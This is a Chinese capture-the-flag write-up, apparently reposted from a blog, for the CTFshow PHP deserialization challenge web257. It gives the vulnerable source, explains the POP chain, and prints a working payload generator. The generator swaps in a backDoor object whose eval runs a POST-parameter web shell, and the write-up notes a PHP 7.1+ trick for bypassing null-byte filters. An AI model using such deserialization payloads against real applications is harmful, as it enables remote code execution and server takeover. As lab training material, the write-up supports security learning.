CTFshow 反序列化 web257
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 反序列化 web257
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/error_reporting(0); highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;} }class backDoor{private $code;public function getInfo(){eval($this->code);} }$username=$_GET['username']; $password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password); }思路
一般這種比較長的代碼要學會倒著看,先去找到有沒有能拿到flag或者命令執(zhí)行的代碼,然后倒著推
下面一步一步篩選關鍵代碼
我們最終目的只要調(diào)用這個類中的getInfo()就能getshell
class backDoor{private $code;public function getInfo(){eval($this->code);} }下一步我們?nèi)フ艺{(diào)用這個方法的代碼在哪里
我們得知反序列化結(jié)束就會,調(diào)用getInfo方法,不過是info類中的getinfo方法
class ctfShowUser{private $class = 'info'; // __construct() 對象創(chuàng)建時會自動調(diào)用public function __construct(){$this->class=new info(); //這里對info類進行實例化}// __destruct() 對象被銷毀時觸發(fā),反序列化也會觸發(fā)這個魔術方法public function __destruct(){$this->class->getInfo();} }class info{private $user='xxxxxx';public function getInfo(){return $this->user;} }class backDoor{private $code;public function getInfo(){eval($this->code);} }php反序列化不能改變類的方法,但是可以更改類的屬性去達成我們的目的
這里介紹3種修改類中屬性的方法
優(yōu)點是方便,缺點是只能賦值字符串class DEMO1{public $func = 'evil';public $arg = 'phpinfo();'; }
優(yōu)點是可以賦值任意類型的值,缺點是只能操作public屬性。<?php class DEMO1{public $func;public $arg ; } $o = new DEMO1(); $o->func = 'evil'; $o->arg = 'phpinfo();'; echo(urlencode(serialize($o)));
小技巧:
對于php7.1+的版本,反序列化對屬性類型不敏感。盡管題目的類下的屬性可能不是public,但是我們可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容錯機制,盡管屬性類型錯誤,php也認識,也可以反序列化成功。
基于此,可以繞過諸如\0字符的過濾。
優(yōu)點是解決了上述的全部缺點,缺點是有點麻煩<?php class DEMO1{public $func;public $arg ;function __construct(){$this->func = 'evil';} } $o = new DEMO1(); echo(urlencode(serialize($o)));
所以我們可以用構(gòu)造方法賦值,把backDoor的實例化對象賦值給 $this->class就能成功調(diào)用backDoor類種的getinfo方法來getshell了
public function __construct(){$this->class=new info(); // => new backDoor(); }最后我們再把backDoor中的code改成我們要執(zhí)行就好了
class backDoor{private $code = 'phpinfo();eval($_POST["kradress"]);';public function getInfo(){eval($this->code);} }題解
構(gòu)造反序列化的代碼
<?phpclass ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new backDoor();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;} }class backDoor{private $code = 'phpinfo();eval($_POST["kradress"]);';public function getInfo(){eval($this->code);} }echo urlencode(serialize(new ctfShowUser()));
拿到flag
總結(jié)
師傅們加油!
總結(jié)
以上是生活随笔為你收集整理的CTFshow 反序列化 web257的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 反序列化 web256
- 下一篇: CTFshow 反序列化 web258